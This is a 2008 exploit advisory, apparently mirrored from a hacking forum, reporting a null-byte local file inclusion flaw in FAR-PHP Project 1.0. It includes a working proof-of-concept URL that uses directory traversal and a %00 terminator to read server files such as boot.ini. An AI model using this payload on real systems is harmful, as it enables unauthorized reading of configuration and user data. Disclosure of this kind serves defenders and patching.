Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:20390
HistoryAug 21, 2008 - 12:00 a.m.

Null Byte Local file Inclusion in FAR - PHP Project version:1.0

2008-08-2100:00:00
vulners.com
40

################################################################

.___ __ _______ .___

| /_ ______| | __ ____ \ _ \ | /

/ __ |\__ \\_ __ \ |/ // __\/ /\ \ / __ |/ __ \

/ // | / __ \| | \/ <\ \\ \/ \/ // \ ___/

\____ |(/| || \\>\_ /\_____|\____\

\/ \/ \/

___________ ______ _ __

_/ _\ __ \/ __ \ \/ \/ /

\ \___| | \/\ ___/\ /

\___ >| \_ >\/\_/

est.2007 \/ \/ forum.darkc0de.com

################################################################

Web Application: FAR - PHP Project version:1.0

Vendor's Address :www.far-php.ro

################################################################

################################################################
Author: Beenu Arora
Address: www.beenuarora.com
################################################################

#Python Dark Scripts: www.beenuarora.com/work.html

################################################################
#Date Found: 21/08/08
#Severity: High
#Security Risk:Null Byte Files Retrieval
#Explaination:It is possible to view the contents of any file (e.g. databases, user information or
configuration files) on the web server (under the permission restrictions of the web server user)

#POC: http://localhost/farver/index.php?c=/../../../../../../../../boot.ini&#37;00
#For the POC pic visit: www.beenuarora.com/POC.bmp

################################################################


|Greetz: D3hydr8,rascal,rsauron,patrick,baltazar,sinner_01 and rest of team memebers. |
|_____________________________________________________________________________________|